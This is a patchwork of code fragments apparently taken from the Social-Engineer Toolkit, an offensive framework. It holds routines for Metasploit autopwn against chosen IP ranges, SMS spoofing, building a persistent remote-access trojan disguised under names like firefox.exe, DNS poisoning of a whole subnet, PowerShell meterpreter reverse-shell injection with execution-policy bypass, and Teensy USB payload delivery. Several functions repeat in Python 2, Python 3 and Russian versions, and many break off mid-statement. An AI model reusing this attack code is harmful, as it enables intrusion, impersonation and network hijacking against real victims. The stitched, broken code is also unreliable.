def do_autopwn():
print('Doing do_autopwn')
# pull the metasploit database
database = core.meta_database()
ip_range = input(core.setprompt(["19", "20"], "Enter the IP ranges to attack (nmap syntax only)"))
# prep the answer file
prep(database, ip_range)
confirm_attack = input(core.setprompt(["19", "20"], "You are about to attack systems are you sure [y/n]"))
# if we are sure, then lets do it
if confirm_attack == "yes" or confirm_attack == "y":
launch()
def do_autopwn():
print "Doing do_autopwn"
# pull the metasploit database
database = setcore.meta_database()
range = raw_input(setcore.setprompt(["19", "20"], "Enter the IP ranges to attack (nmap syntax only)"))
# prep the answer file
prep(database, range)
confirm_attack = raw_input(setcore.setprompt(["19", "20"], "You are about to attack systems are you sure [y/n]"))
# if we are sure, then lets do it
if confirm_attack == "yes" or confirm_attack == "y":
launch()
def _do_sms():
print("""\n ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n""")
print("This attack vector relies upon a third party service called www.spoofmytextmessage.com. "
"This is a third party service outside of the control from the Social-Engineer Toolkit. "
"The fine folks over at spoofmytextmessage.com have provided an undocumented API for us "
"to use in order to allow SET to perform the SMS spoofing. You will need to visit "
"https://www.spoofmytextmessage.com and sign up for an account. They example multiple "
"payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your "
"plan that you want, you will need to remember your email address and password used for "
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
core.print_status("Note that the password below will be masked and you will not see the output.")
pw = getpass.getpass(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
tonumber = input(core.setprompt(["7"], "Enter the number to send the SMS TO - be sure to include "
"country code (example: +15551234567)"))
fromnumber = input(core.setprompt(["7"], "Enter the number you want to come FROM - be sure to include "
"country code (example: +15551234567)"))
message = input(core.setprompt(["7"], "Enter the message you want to send via the text message"))
# note that the function for this is in a compiled python file with no source -
# this was done at the request of the third party we use since the API is not documented.
# I hand wrote the code and can validate its authenticity - it imports python requests
# and json and uses that to interact with the API. From a security standpoint if you are
# uncomfortable using this - feel free to ping me and I can walk you through what I do
# without giving away the API from the third party.
from src.sms.protectedapi import send_sms
send_sms(email, pw, tocountry, fromcountry, fromnumber, tonumber, message)
else:
core.print_status("Okay! Exiting out of the Social-Engineer Toolkit SMS Spoofing Attack Vector...")
def _do_sms():
print("""\n ----- The Social-Engineer Toolkit (SET) SMS Spoofing Attack Vector -----\n""")
print("This attack vector relies upon a third party service called www.spoofmytextmessage.com. "
"This is a third party service outside of the control from the Social-Engineer Toolkit. "
"The fine folks over at spoofmytextmessage.com have provided an undocumented API for us "
"to use in order to allow SET to perform the SMS spoofing. You will need to visit "
"https://www.spoofmytextmessage.com and sign up for an account. They example multiple "
"payment methods such as PayPal, Bitcoin, and many more options. Once you purchase your "
"plan that you want, you will need to remember your email address and password used for "
"the account. SET will then handle the rest.\n")
print("In order for this to work you must have an account over at spoofmytextmessage.com\n")
print("Special thanks to Khalil @sehnaoui for testing out the service for me and finding "
"spoofmytextmessage.com\n")
core.print_error("DISCLAIMER: By submitting yes, you understand that you accept all terms and "
"services from spoofmytextmessage.com and you are fully aware of your countries "
"legal stance on SMS spoofing prior to performing any of these. By accepting yes "
"you fully acknowledge these terms and will not use them for unlawful purposes.")
message = input("\nDo you accept these terms (yes or no): ")
if message == "yes":
core.print_status("Okay! Moving on - SET needs some information from you in order to spoof the message.")
email = input(core.setprompt(["7"], "Enter your email address for the spoofmytextmessage.com account"))
core.print_status("Note that the password below will be masked and you will not see the output.")
pw = getpass.getpass(core.setprompt(["7"], "Enter your password for the spoofmytextmessage.com account"))
core.print_status("The next section requires a country code, this is the code you would use to dial "
"to the specific country, for example if I was sending a message to 555-555-5555 to "
"the United States (or from) you would enter +1 below.")
tocountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending TO "
"(for example U.S would be '+1')[+1]"))
if tocountry == "":
tocountry = "+1"
fromcountry = input(core.setprompt(["7"], "Enter the country code for the number you are sending FROM "
"(for example U.S. would be '+1')[+1]"))
if fromcountry == "":
fromcountry = "+1"
tonumber = input(core.setprompt(["7"], "Enter the number to send the SMS TO - be sure to include "
"country code (example: +15551234567)"))
fromnumber = input(core.setprompt(["7"], "Enter the number you want to come FROM - be sure to include "
"country code (example: +15551234567)"))
message = input(core.setprompt(["7"], "Enter the message you want to send via the text message"))
# note that the function for this is in a compiled python file with no source -
# this was done at the request of the third party we use since the API is not documented.
# I hand wrote the code and can validate its authenticity - it imports python requests
# and json and uses that to interact with the API. From a security standpoint if you are
# uncomfortable using this - feel free to ping me and I can walk you through what I do
# without giving away the API from the third party.
from src.sms.protectedapi import send_sms
send_sms(email, pw, tocountry, fromcountry, fromnumber, tonumber, message)
else:
core.print_status("Okay! Exiting out of the Social-Engineer Toolkit SMS Spoofing Attack Vector...")
def main():
############
# get User Input
############
ipaddr = raw_input(
core.setprompt(["9", "2"], "IP address to connect back on"))
try:
ratteport = int(
raw_input(
core.setprompt(["9", "2"],
"Port RATTE Server should listen on")))
while ratteport == 0 or ratteport > 65535:
core.PrintWarning('Port must not be equal to javaport!')
ratteport = int(
raw_input(
core.setprompt(
["9", "2"],
"Enter port RATTE Server should listen on")))
except ValueError:
ratteport = 8080
persistent = raw_input(
core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == "no" or persistent == "" or persistent == "n":
persistent = "NO"
else:
persistent = "YES"
customexe = raw_input(
core.setprompt([
"9", "2"
], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr, ratteport, persistent, customexe)
core.PrintStatus(
"Payload has been exported to src/program_junk/ratteM.exe")
############
# start ratteserver
############
prompt = raw_input(
core.setprompt(["9", "2"],
"Start the ratteserver listener now [yes|no]"))
if prompt == "yes" or prompt == "" or prompt == "y":
core.PrintInfo("Starting ratteserver...")
ratte_listener_start(ratteport)
def main():
############
# get User Input
############
ipaddr=raw_input(core.setprompt(["9", "2"], "IP address to connect back on"))
try:
ratteport=int(raw_input(core.setprompt(["9", "2"], "Port RATTE Server should listen on")))
while ratteport==0 or ratteport > 65535:
core.PrintWarning('Port must not be equal to javaport!')
ratteport=int(raw_input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
except ValueError:
ratteport=8080
persistent=raw_input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
if persistent == "no" or persistent == "" or persistent == "n":
persistent="NO"
else:
persistent="YES"
customexe=raw_input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr,ratteport,persistent,customexe)
core.PrintStatus("Payload has been exported to src/program_junk/ratteM.exe")
############
# start ratteserver
############
prompt=raw_input(core.setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
if prompt == "yes" or prompt == "" or prompt == "y":
core.PrintInfo("Starting ratteserver...")
ratte_listener_start(ratteport)
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print ("\n [****] Custom Template Generator [****]\n")
print ("\n Always looking for new templates! In the set/src/templates directory send an email\nto [email protected] if you got a good template!")
author=raw_input(core.setprompt("0", "Name of the author"))
filename=randomgen=random.randrange(1,99999999999999999999)
filename=str(filename)+(".template")
subject=raw_input(core.setprompt("0", "Email Subject"))
try:
body=raw_input(core.setprompt("0", "Message Body, hit return for a new line. Control+c when you are finished"))
while body != 'sdfsdfihdsfsodhdsofh':
try:
body+=(r"\n")
body+=raw_input("Next line of the body: ")
except KeyboardInterrupt: break
except KeyboardInterrupt: pass
filewrite=file("src/templates/%s" % (filename), "w")
filewrite.write("# Author: "+author+"\n#\n#\n#\n")
filewrite.write('SUBJECT='+'"'+subject+'"\n\n')
filewrite.write('BODY='+'"'+body+'"\n')
print "\n"
filewrite.close()
except Exception, e:
print " An error occured, printing error message: "+str(e)
# coding=utf-8
import subprocess
import src.core.setcore as core
#
# Simple python script to kill things created by the SET wifi attack vector
#
try:
input = raw_input
except:
pass
interface = input(
core.setprompt(["8"], "Enter your wireless interface (ex: wlan0): "))
# fix a bug if present
core.print_status(
"Attempting to set rfkill to unblock all if RTL is in use. Ignore errors on this."
)
subprocess.Popen("rmmod rtl8187;"
"rfkill block all;"
"rfkill unblock all;"
"modprobe rtl8187;"
"rfkill unblock all;"
"ifconfig {0} up".format(interface),
shell=True).wait()
core.print_status("Killing airbase-ng...")
subprocess.Popen("killall airbase-ng", shell=True).wait()
for name in glob.glob("modules/*.py"):
counter = counter + 1
fileopen = file(name, "r")
for line in fileopen:
line = line.rstrip()
match = re.search("MAIN=", line)
if match:
line = line.replace('MAIN="', "")
line = line.replace('"', "")
line = " " + str(counter) + ". " + line
print line
print "\n 99. Return to the previous menu\n"
choice = raw_input(setcore.setprompt(["9"], ""))
if choice == 'exit':
setcore.ExitSet()
if choice == '99':
menu_return = "true"
# throw error if not integer
try:
choice = int(choice)
except:
setcore.PrintWarning("An integer was not used try again")
choice = raw_input(setcore.setprompt(["9"], ""))
# start a new counter to match choice
ipaddr=line
if ettercapchoice == 'y':
try:
print """
This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard
'*' flag.
IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
"""
setcore.print_info("Example: http://www.google.com")
dns_spoof=raw_input(setcore.setprompt("0", "Site to redirect to attack machine [*]"))
os.chdir(path)
# small fix for default
if dns_spoof == "":
# set default to * (everything)
dns_spoof="*"
# remove old stale files
subprocess.Popen("rm etter.dns 1> /dev/null 2> /dev/null", shell=True).wait()
# prep etter.dns for writing
filewrite=file("etter.dns", "w")
# send our information to etter.dns
filewrite.write("%s A %s" % (dns_spoof,ipaddr))
# close the file
filewrite.close()
# set bridge variable to nothing
bridge=""
straight into memory and the stager created and shot back to you.
""")
# if we dont detect metasploit
if not os.path.isfile(msf_path):
sys.exit(
"\n[!] Your no gangster... Metasploit not detected, check set_config.\n"
)
# if we hit here we are good since msfvenom is installed
###################################################
# USER INPUT: SHOW PAYLOAD MENU 2 #
###################################################
show_payload_menu2 = core.create_menu(payload_menu_2_text, payload_menu_2)
payload = (input(core.setprompt(["14"], "")))
if payload == "exit":
core.exit_set()
# if its default then select meterpreter
if payload == "":
payload = "2"
# assign the right payload
payload = ms_payload(payload)
# if we're downloading and executing a file
url = ""
port = ""
if payload == "windows/download_exec":
# make directory if it's not there
if not os.path.isdir("src/program_junk/web_clone/"):
os.makedirs("src/program_junk/web_clone/")
# grab ip address and SET web server interface
if os.path.isfile("src/program_junk/interface"):
fileopen = file("src/program_junk/interface", "r")
for line in fileopen:
ipaddr = line.rstrip()
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file ("src/program_junk/ipaddr.file", "r")
for line in fileopen:
webserver = line.rstrip()
if not os.path.isfile("src/program_junk/ipaddr.file"):
ipaddr = raw_input(setcore.setprompt("0", "IP address to connect back on for the reverse listener"))
else:
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file("src/program_junk/ipaddr.file", "r")
for line in fileopen:
ipaddr = line.rstrip()
webserver = ipaddr
# grab port options from payloadgen.py
if os.path.isfile("src/program_junk/port.options"):
fileopen = file("src/program_junk/port.options", "r")
for line in fileopen:
port = line.rstrip()
else:
port = raw_input(setcore.setprompt("0", "Port you want to use for the connection back"))
def prep_powershell_payload():
# grab stage encoding flag
stage_encoding = core.check_config("STAGE_ENCODING=").lower()
if stage_encoding == "off":
stage_encoding = "false"
else:
stage_encoding = "true"
# check to see if we are just generating powershell code
powershell_solo = core.check_options("POWERSHELL_SOLO")
# check if port is there
port = core.check_options("PORT=")
# check if we are using auto_migrate
auto_migrate = core.check_config("AUTO_MIGRATE=")
# check if we are using pyinjection
pyinjection = core.check_options("PYINJECTION=")
if pyinjection == "ON":
# check to ensure that the payload options were specified right
if os.path.isfile(os.path.join(core.setdir, "payload_options.shellcode")):
pyinjection = "on"
core.print_status("Multi/Pyinjection was specified. Overriding config options.")
else:
pyinjection = "off"
# grab ipaddress
if core.check_options("IPADDR=") != 0:
ipaddr = core.check_options("IPADDR=")
else:
ipaddr = input("Enter the ipaddress for the reverse connection: ")
core.update_options("IPADDR=" + ipaddr)
# check to see if we are using multi powershell injection
multi_injection = core.check_config("POWERSHELL_MULTI_INJECTION=").lower()
# turn off multi injection if pyinjection is specified
if pyinjection == "on":
multi_injection = "off"
# check what payloads we are using
powershell_inject_x86 = core.check_config("POWERSHELL_INJECT_PAYLOAD_X86=")
# if we specified a hostname then default to reverse https/http
if not core.validate_ip(ipaddr):
powershell_inject_x86 = "windows/meterpreter/reverse_http"
# prompt what port to listen on for powershell then make an append to the current
# metasploit answer file
if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
# if we have multi injection on, don't worry about these
if multi_injection != "on" and pyinjection == "off":
core.print_status("POWERSHELL_INJECTION is set to ON with multi-pyinjector")
port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
if not port:
port = "443"
with open(os.path.join(core.setdir, "meta_config_multipyinjector")) as fileopen:
data = fileopen.read()
match = re.search(port, data)
if not match:
with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
filewrite.write("\nuse exploit/multi/handler\n")
if auto_migrate == "ON":
filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
filewrite.write("set PAYLOAD {0}\n"
"set LHOST {1}\n"
"set LPORT {2}\n"
"set EnableStageEncoding {3}\n"
"set ExitOnSession false\n"
"exploit -j\n".format(powershell_inject_x86, ipaddr, port, stage_encoding))
# if we have multi injection on, don't worry about these
if multi_injection != "on" and pyinjection == "off":
# check to see if the meta config multi pyinjector is there
if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
if core.check_options("PORT=") != 0:
port = core.check_options("PORT=")
# if port.options isnt there then prompt
else:
port = input(core.setprompt(["4"], "Enter the port for Metasploit to listen on for powershell [443]"))
if not port:
port = "443"
core.update_options("PORT={0}".format(port))
# turn off multi_injection if we are riding solo from the powershell menu
if powershell_solo == "ON":
multi_injection = "off"
pyinjection = "on"
# if we are using multi powershell injection
if multi_injection == "on" and pyinjection == "off":
core.print_status("Multi-Powershell-Injection is set to ON, this should be sweet...")
# define a base variable
x86 = ""
# specify a list we will use for later
multi_injection_x86 = ""
# here we do some funky loops so we don't need to rewrite the code below
if multi_injection == "on":
port = core.check_config("POWERSHELL_MULTI_PORTS=")
port = port.split(",")
if multi_injection == "on":
# iterate through the ports, used for POWERSHELL_MULTI_PORTS
for ports in port:
# dont cycle through if theres a blank
if ports:
core.print_status("Generating x86-based powershell injection code for port: {0}".format(ports))
multi_injection_x86 = multi_injection_x86 + "," + core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, ports, x86)
if os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
port_check = core.check_ports(os.path.join(core.setdir, "meta_config_multipyinjector"), ports)
if not port_check:
with open(os.path.join(core.setdir, "meta_config_multipyinjector"), "a") as filewrite:
filewrite.write("\nuse exploit/multi/handler\n")
if auto_migrate == "ON":
filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
filewrite.write("set PAYLOAD {0}\n"
"set LHOST {1}\n"
"set EnableStageEncoding {2}\n"
"set LPORT {3}\n"
"set ExitOnSession false\n"
"exploit -j\n\n".format(powershell_inject_x86, ipaddr, stage_encoding, ports))
# if we aren't using multi pyinjector
if not os.path.isfile(os.path.join(core.setdir, "meta_config_multipyinjector")):
# if meta config isn't created yet then create it
if not os.path.isfile():
with open(os.path.join(core.setdir, "meta_config"), "w") as filewrite:
filewrite.write("")
port_check = core.check_ports(os.path.join(core.setdir, "meta_config"), ports)
if not port_check:
with open(os.path.join(core.setdir, "meta_config"), "a") as filewrite:
filewrite.write("\nuse exploit/multi/handler\n")
if auto_migrate == "ON":
filewrite.write("set AutoRunScript post/windows/manage/smart_migrate\n")
filewrite.write("set PAYLOAD {0}\n"
"set LHOST {1}\n"
"set EnableStageEncoding {2}\n"
"set ExitOnSession false\n"
"set LPORT {3}\n"
"exploit -j\n\n".format(powershell_inject_x86, ipaddr, stage_encoding, ports))
# here we do everything if pyinjection or multi pyinjection was specified
if pyinjection == "on":
injections = []
# read in the file we need for parsing
with open(os.path.join(core.setdir, "payload_options.shellcode")) as fileopen:
payloads = fileopen.read()[:-1].rstrip() # strips an extra ,
payloads = payloads.split(",")
# format: payload<space>port
for payload in payloads:
# format: payload<space>port
payload = payload.split(" ")
powershell_inject_x86 = payload[0]
port = payload[1]
core.print_status("Generating x86-based powershell injection code...")
injections.append(core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, port, x86))
multi_injection_x86 = ",".join(injections)
# if its turned to off
if multi_injection == "off" and pyinjection == "off":
core.print_status("Generating x86-based powershell injection code...")
x86 = core.generate_powershell_alphanumeric_payload(powershell_inject_x86, ipaddr, port, x86)
# if we are specifying multi powershell injection
if multi_injection == "on" or pyinjection == "on":
x86 = multi_injection_x86[1:] # remove comma at beginning
# check to see if we want to display the powershell command to the user
verbose = core.check_config("POWERSHELL_VERBOSE=")
if verbose.lower() == "on":
core.print_status("Printing the x86 based encoded code...")
time.sleep(3)
print(x86)
with open(os.path.join(core.setdir, "x86.powershell"), "w") as filewrite:
filewrite.write(x86)
core.print_status("Finished generating powershell injection bypass.")
core.print_status("Encoded to bypass execution restriction policy...")
#!/usr/bin/env python
import random
from src.core import setcore as core
try:
print("\n [****] Custom Template Generator [****]\n")
author = raw_input(core.setprompt(["7"], "Name of the author"))
filename = randomgen = random.randrange(1, 99999999999999999999)
filename = str(filename) + (".template")
origin = raw_input(core.setprompt(["7"], "Source phone # of the template"))
subject = raw_input(core.setprompt(["7"], "Subject of the template"))
body = raw_input(core.setprompt(["7"], "Body of the message"))
filewrite = file("src/templates/sms/%s" % (filename), "w")
filewrite.write("# Author: " + author + "\n#\n#\n#\n")
filewrite.write('ORIGIN=' + '"' + origin + '"\n\n')
filewrite.write('SUBJECT=' + '"' + subject + '"\n\n')
filewrite.write('BODY=' + '"' + body + '"\n')
print "\n"
filewrite.close()
except Exception, e:
core.PrintError("An error occured:")
core.PrintError("ERROR:" + str(e))
def main():
valid_site = False
valid_ip = False
valid_response = False
input_counter = 0
#################
# get User Input
#################
# ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
while valid_ip != True and input_counter < 3:
ipaddr = input(
core.setprompt(["9", "2"], "Введите IP-адрес для подключения"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error(
"\nМожет быть, вы неправильно написали адрес?")
sleep(4)
return
else:
input_counter += 1
# try:
# ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
# while ratteport==0 or ratteport > 65535:
# print_warning('Port must not be equal to javaport!')
# ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
# except ValueError:
# ratteport=8080
try:
ratteport = int(
input(
core.setprompt(
["9", "2"],
"Порт RATTE Server должен прослушивать [8080]")))
while ratteport == 0 or ratteport > 65535:
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(
input(
core.setprompt(
["9", "2"],
"Введите порт RATTE Сервер должен прослушивать [8080]")
))
except ValueError:
# core.print_info("Port set to default of 8080")
ratteport = 8080
# persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# if persistent == 'no' or persistent == '' or persistent == 'n':
# persistent='NO'
# else:
# persistent='YES'
while not valid_response:
persistent = input(
core.setprompt(["9", "2"],
"Должен ли RATTE быть постоянным [no|yes]?"))
persistent = str.lower(persistent)
if persistent == "no" or persistent == "n":
persistent = "NO"
valid_response = True
elif persistent == "yes" or persistent == "y":
persistent = "YES"
valid_response = True
else:
core.print_warning(text.YES_NO_RESPONSES)
valid_response = False
customexe = input(
core.setprompt([
"9", "2"
], "Используйте конкретное имя файла (например, firefox.exe) [filename.exe или пусто]?"
))
############
# prepare RATTE
############
prepare_ratte(ipaddr, ratteport, persistent, customexe)
core.print_status("Полезная нагрузка была экспортирована в %s" %
os.path.join(core.userconfigpath, "ratteM.exe"))
###################
# start ratteserver
###################
# prompt=input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
# if prompt == "yes" or prompt == "" or prompt == "y":
# print_info("Starting ratteserver...")
# ratte_listener_start(ratteport)
while not valid_response:
prompt = input(
core.setprompt(["9", "2"],
"Запустите слушатель ratteserver сейчас [yes|no]"))
prompt = str.lower(prompt)
if prompt == "no" or prompt == "n":
# prompt = "NO"
core.print_error("Aborting...")
sleep(2)
valid_response = True
elif prompt == "yes" or prompt == "y":
core.print_info("Старт ратсервер...")
ratte_listener_start(ratteport)
core.print_info("Остановка ратсервера...")
sleep(2)
valid_response = True
else:
core.print_warning(
"действительные ответы 'n|y|N|Y|no|yes|No|Yes|NO|YES'")
#!/usr/bin/env python
import subprocess, os
from src.core import setcore as core
#
# used for pre-defined templates
#
print """
1. Java Required
2. Gmail
3. Google
4. Facebook
5. Twitter
"""
choice = raw_input(core.setprompt(["2"], "Select a template"))
if choice == "exit":
core.ExitSet()
# file used for nextpage in java applet attack
filewrite = file("src/program_junk/site.template", "w")
# if nothing is selected
if choice == "": choice = "1"
# if java required
if choice == "1":
subprocess.Popen(
"cp src/html/templates/java/index.template src/html/ 1> /dev/null 2> /dev/null",
shell=True).wait()
URL = ""
import subprocess
import os
import re
import sys
from src.core import setcore
# definepath
definepath=os.getcwd()
sys.path.append(definepath)
meta_path = setcore.meta_path()
# launch msf listener
setcore.PrintInfo("The payload can be found in the SET home directory.")
choice = raw_input(setcore.setprompt("0", "Start the listener now? [yes|no]"))
if choice == "yes" or choice == "y":
# if we didn't select the SET interactive shell as our payload
if not os.path.isfile("src/program_junk/set.payload"):
setcore.PrintInfo("Please wait while the Metasploit listener is loaded...")
subprocess.Popen("ruby %s/msfconsole -L -n -r src/program_junk/meta_config" % (meta_path), shell=True).wait()
# if we did select the set payload as our option
if os.path.isfile("src/program_junk/set.payload"):
fileopen = file("src/program_junk/port.options", "r")
set_payload = file("src/program_junk/set.payload", "r")
port = fileopen.read().rstrip()
set_payload = set_payload.read().rstrip()
if set_payload == "SETSHELL":
setcore.PrintInfo("Starting the SET Interactive Shell Listener on %s." % (port))
sys.path.append("../")
try:
while 1:
setcore.show_banner(define_version,'1')
###################################################
# USER INPUT: SHOW MAIN MENU #
###################################################
show_main_menu = setcore.CreateMenu(text.main_text, text.main)
# special case of list item 99
print '\n 99) Return back to the main menu.\n'
main_menu_choice = (raw_input(setcore.setprompt("0", "")))
if main_menu_choice == 'exit':
break
if main_menu_choice == '1': #'Spearphishing Attack Vectors
while 1:
###################################################
# USER INPUT: SHOW SPEARPHISH MENU #
###################################################
show_spearphish_menu = setcore.CreateMenu(text.spearphish_text, text.spearphish_menu)
spearphish_menu_choice = raw_input(setcore.setprompt(["1"], ""))
if spearphish_menu_choice == 'exit':
if ettercapchoice == 'y':
try:
print """
This attack will poison all victims on your local subnet, and redirect them
when they hit a specific website. The next prompt will ask you which site you
will want to trigger the DNS redirect on. A simple example of this is if you
wanted to trigger everyone on your subnet to connect to you when they go to
browse to www.google.com, the victim would then be redirected to your malicious
site. You can alternatively poison everyone and everysite by using the wildcard
'*' flag.
IF YOU WANT TO POISON ALL DNS ENTRIES (DEFAULT) JUST HIT ENTER OR *
"""
setcore.PrintInfo("Example: http://www.google.com")
dns_spoof = raw_input(
setcore.setprompt("0",
"Site to redirect to attack machine [*]"))
os.chdir(path)
# small fix for default
if dns_spoof == "":
# set default to * (everything)
dns_spoof = "*"
# remove old stale files
subprocess.Popen("rm etter.dns 1> /dev/null 2> /dev/null",
shell=True).wait()
# prep etter.dns for writing
filewrite = file("etter.dns", "w")
# send our information to etter.dns
filewrite.write("%s A %s" % (dns_spoof, ipaddr))
# close the file
filewrite.close()
# set bridge variable to nothing
if not os.path.isdir("src/program_junk/web_clone/"):
os.makedirs("src/program_junk/web_clone/")
# grab ip address and SET web server interface
if os.path.isfile("src/program_junk/interface"):
fileopen = file("src/program_junk/interface", "r")
for line in fileopen:
ipaddr = line.rstrip()
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file("src/program_junk/ipaddr.file", "r")
for line in fileopen:
webserver = line.rstrip()
if not os.path.isfile("src/program_junk/ipaddr.file"):
ipaddr = raw_input(
setcore.setprompt(
"0", "IP address to connect back on for the reverse listener"))
else:
if os.path.isfile("src/program_junk/ipaddr.file"):
fileopen = file("src/program_junk/ipaddr.file", "r")
for line in fileopen:
ipaddr = line.rstrip()
webserver = ipaddr
# grab port options from payloadgen.py
if os.path.isfile("src/program_junk/port.options"):
fileopen = file("src/program_junk/port.options", "r")
for line in fileopen:
port = line.rstrip()
else:
port = raw_input(
def main():
valid_site = False
valid_ip = False
valid_response = False
input_counter = 0
#################
# get User Input
#################
# ipaddr=input(setprompt(["9", "2"], "IP address to connect back on"))
while valid_ip != True and input_counter < 3:
ipaddr = input(core.setprompt(["9", "2"], "Enter the IP address to connect back on"))
valid_ip = core.validate_ip(ipaddr)
if not valid_ip:
if input_counter == 2:
core.print_error("\nMaybe you have the address written down wrong?")
sleep(4)
return
else:
input_counter += 1
# try:
# ratteport=int(input(setprompt(["9", "2"], "Port RATTE Server should listen on")))
# while ratteport==0 or ratteport > 65535:
# print_warning('Port must not be equal to javaport!')
# ratteport=int(input(setprompt(["9", "2"], "Enter port RATTE Server should listen on")))
# except ValueError:
# ratteport=8080
try:
ratteport = int(input(core.setprompt(["9", "2"], "Port RATTE Server should listen on [8080]")))
while ratteport == 0 or ratteport > 65535:
if ratteport == 0:
core.print_warning(text.PORT_NOT_ZERO)
if ratteport > 65535:
core.print_warning(text.PORT_TOO_HIGH)
ratteport = int(input(core.setprompt(["9", "2"], "Enter port RATTE Server should listen on [8080]")))
except ValueError:
# core.print_info("Port set to default of 8080")
ratteport = 8080
# persistent=input(setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
# if persistent == 'no' or persistent == '' or persistent == 'n':
# persistent='NO'
# else:
# persistent='YES'
while not valid_response:
persistent = input(core.setprompt(["9", "2"], "Should RATTE be persistent [no|yes]?"))
persistent = str.lower(persistent)
if persistent == "no" or persistent == "n":
persistent = "NO"
valid_response = True
elif persistent == "yes" or persistent == "y":
persistent = "YES"
valid_response = True
else:
core.print_warning(text.YES_NO_RESPONSES)
valid_response = False
customexe = input(core.setprompt(["9", "2"], "Use specifix filename (ex. firefox.exe) [filename.exe or empty]?"))
############
# prepare RATTE
############
prepare_ratte(ipaddr, ratteport, persistent, customexe)
core.print_status("Payload has been exported to %s" % os.path.join(core.setdir + "ratteM.exe"))
###################
# start ratteserver
###################
# prompt=input(setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
# if prompt == "yes" or prompt == "" or prompt == "y":
# print_info("Starting ratteserver...")
# ratte_listener_start(ratteport)
while not valid_response:
prompt = input(core.setprompt(["9", "2"], "Start the ratteserver listener now [yes|no]"))
prompt = str.lower(prompt)
if prompt == "no" or prompt == "n":
# prompt = "NO"
core.print_error("Aborting...")
sleep(2)
valid_response = True
elif prompt == "yes" or prompt == "y":
core.print_info("Starting ratteserver...")
ratte_listener_start(ratteport)
core.print_info("Stopping ratteserver...")
sleep(2)
valid_response = True
else:
core.print_warning("valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")
you to have a Teensy device with a soldered USB device on it and place the
file that this tool outputs in order to successfully complete the task.
It works by reading natively off the SDCard into a buffer space thats then
written out through the keyboard.
""")
# if we hit here we are good since msfvenom is installed
print("""
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
enabled.\n""")
# grab the path and filename from user
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if not os.path.isfile(path):
while True:
core.print_warning("Filename not found, try again")
path = input(core.setprompt(["6"], "Path to the file you want deployed on the teensy SDCard"))
if os.path.isfile(path):
break
core.print_warning("Note: This will only deliver the payload, you are in charge of creating the listener if applicable.")
core.print_status("Converting the executable to a hexadecimal form to be converted later...")
with open(path, "rb") as fileopen:
data = fileopen.read()
data = binascii.hexlify(data)
with open("converts.txt", "w") as filewrite:
filewrite.write(data)
}
""")
print("[*] Payload has been extracted. Copying file to {0}".format(
os.path.join(core.setdir + "reports/teensy.pde")))
